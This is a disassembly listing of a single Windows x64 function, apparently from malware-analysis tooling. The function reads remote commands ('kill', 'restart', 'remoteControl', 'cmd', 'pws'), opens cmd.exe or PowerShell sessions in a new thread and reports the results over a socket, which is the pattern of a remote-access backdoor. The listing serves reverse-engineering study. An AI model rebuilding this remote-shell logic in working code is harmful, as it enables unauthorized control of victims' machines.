Function at 0x140005280
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, rdx
mov rsi, rcx
mov qword [rbp + 0x1f], rcx
mov qword [rbp + 0x27], rdx
xor r15d, r15d
mov rcx, rdx
mov r14, qword [rdx + 0x18]
cmp r14, 0x10
jb 0x1400052c7
mov rcx, qword [rdx]
mov rbx, qword [rdx + 0x10]
cmp rbx, 4
jne 0x1400052e8
mov r8, rbx
lea rdx, str.kill
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400058f1
mov rcx, rdi
cmp r14, 0x10
jb 0x1400052f4
mov rcx, qword [rdi]
cmp rbx, 7
jne 0x140005311
mov r8, rbx
lea rdx, str.restart
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400058f7
mov word [rbp + 5], r15w
mov qword [rbp + 7], ntohl
mov qword [rbp + send], 0xf
movsd xmm0, qword [str.remoteControl]
movsd qword [rbp - 9], xmm0
mov eax, dword [0x140008828]
mov dword [rbp - 1], eax
movzx eax, byte [0x14000882c]
mov byte [rbp + 3], al
mov byte [rbp + 4], 0
lea rdx, [rbp - 9]
mov rcx, rdi
call fcn.140005120
test al, al
je 0x1400057cf
cmp byte [0x14000cac1], 0
jne 0x140005747
mov rcx, rdi
mov rbx, qword [rdi + 0x18]
cmp rbx, 0x10
jb 0x14000537b
mov rcx, qword [rdi]
mov r14, qword [rdi + 0x10]
cmp r14, 3
jne 0x1400053d6
mov r8, r14
lea rdx, [0x140008830]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400053d6
cmp rbx, 0x1b
jb 0x1400053c5
mov rbx, qword [rdi]
mov qword [rdi + 0x10], 0x1b
lea r8d, [r14 + 0x18]
lea rdx, str.C:Windows_system32cmd.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1b], 0
jmp 0x140005491
lea r9, str.C:Windows_system32cmd.exe
mov edx, 0x1b
jmp 0x140005489
mov rcx, rdi
cmp rbx, 0x10
jb 0x1400053e2
mov rcx, qword [rdi]
cmp r14, 3
jne 0x14000542e
mov r8, r14
lea rdx, [0x140008854]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000542e
cmp rbx, 0x39
jb 0x140005425
mov rbx, qword [rdi]
mov qword [rdi + 0x10], 0x39
lea r8d, [r14 + 0x36]
lea rdx, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x39], 0
jmp 0x140005491
lea r9, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
jmp 0x140005484
mov rcx, rdi
cmp rbx, 0x10
jb 0x14000543a
mov rcx, qword [rdi]
cmp r14, 5
jne 0x140005491
mov r8, r14
lea rdx, str.pws32
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005491
cmp rbx, 0x39
jb 0x14000547d
mov rbx, qword [rdi]
mov qword [rdi + 0x10], 0x39
lea r8d, [r14 + 0x34]
lea rdx, str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x39], 0
jmp 0x140005491
lea r9, str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
mov edx, 0x39
mov rcx, rdi
call fcn.140003580
mov rdx, rdi
lea rcx, [rbp - 0x29]
call fcn.140002f10
mov rbx, rax
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400054ad
mov rdx, qword [rax]
lea r8, [0x140008a3c]
lea rcx, [rbp + 0x1f]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140005633
mov rcx, qword [rbp + 0x1f]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000550a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140005505
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005740
mov rcx, r8
call fcn.1400060ac
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov rcx, qword [rdi + 0x10]
add rcx, 3
call fcn.14000625c
mov rbx, rax
mov rcx, qword [rdi + 0x10]
mov byte [rax + rcx], 0
mov r8, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14000553e
mov r8, qword [rdi]
mov rdx, qword [rdi + 0x10]
add rdx, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9, rbx
lea r8, [0x140003ae0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
cmp byte [0x14000cac1], 0
jne 0x140005594
nop word [rax + rax]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x14000cac1], 0
je 0x140005580
mov rcx, rbx
call fcn.1400060ac
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], send
mov ecx, 0x20
call fcn.140006070
mov rdx, rax
mov qword [rsi], rax
mov qword [rsi + 0x10], reloc.WS2_32.dll_send
mov qword [rsi + 0x18], 0x1f
movups xmm0, xmmword [str.CMD_session_opened.]
movups xmmword [rax], xmm0
movzx ecx, word [0x1400088f0]
mov word [rax + 0x10], cx
movzx eax, byte [0x1400088f2]
mov byte [rdx + 0x12], al
mov byte [rdx + 0x13], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000570b
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140005706
add rdx, 0x27
mov rax, qword [rcx - 8]
sub rcx, rax
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x1400057c8
mov rcx, rax
jmp 0x140005706
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000566d
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140005668
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005740
mov rcx, r8
call fcn.1400060ac
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], send
mov byte [rbx], 0
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], send
mov ecx, 0x20
call fcn.140006070
mov rdx, rax
mov qword [rsi], rax
mov qword [rsi + 0x10], reloc.WS2_32.dll_send
mov qword [rsi + 0x18], 0x1f
movups xmm0, xmmword [str.File_doesnt_exist.]
movups xmmword [rax], xmm0
movzx ecx, word [0x140008908]
mov word [rax + 0x10], cx
movzx eax, byte [0x14000890a]
mov byte [rdx + 0x12], al
mov byte [rdx + 0x13], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000570b
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140005706
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400057c8
mov rcx, r8
call fcn.1400060ac
mov byte [rdi], 0
mov qword [rdi + 0x18], send
mov rax, rsi
mov qword [rdi + 0x10], r15
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140006050
mov rbx, qword [rsp + 0xe0]
add rsp, 0xa0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], 4
mov qword [rbp - 0x11], send
mov eax, dword [0x14000890c]
mov dword [rbp - 0x29], eax
mov byte [rbp - 0x25], 0
lea rdx, [rbp - 0x29]
call fcn.140003d40
mov byte [0x14000cac1], 0
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], send
mov ecx, 0x20
call fcn.140006070
mov qword [rsi], rax
mov qword [rsi + 0x10], send
mov qword [rsi + 0x18], 0x1f
movups xmm0, xmmword [str.CMD_session_closed]
movups xmmword [rax], xmm0
movzx ecx, word [0x140008928]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
jmp 0x1400056d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rdi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 9
jb 0x1400058eb
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x1400057f7
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.Command_
lea rcx, [rbp - 0x29]
call fcn.1400041f0
nop
mov r8d, socket
lea rdx, str._was_not_recognized.
lea rcx, [rbp - 0x29]
call fcn.140003fe0
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsi + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], send
mov byte [rax], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x14000589a
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005895
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005895
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400060ac
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], send
mov byte [rbp - 0x29], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000570b
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140005706
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140005703
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400014c0
int3
call fcn.140005950
int3
call fcn.140005900
int3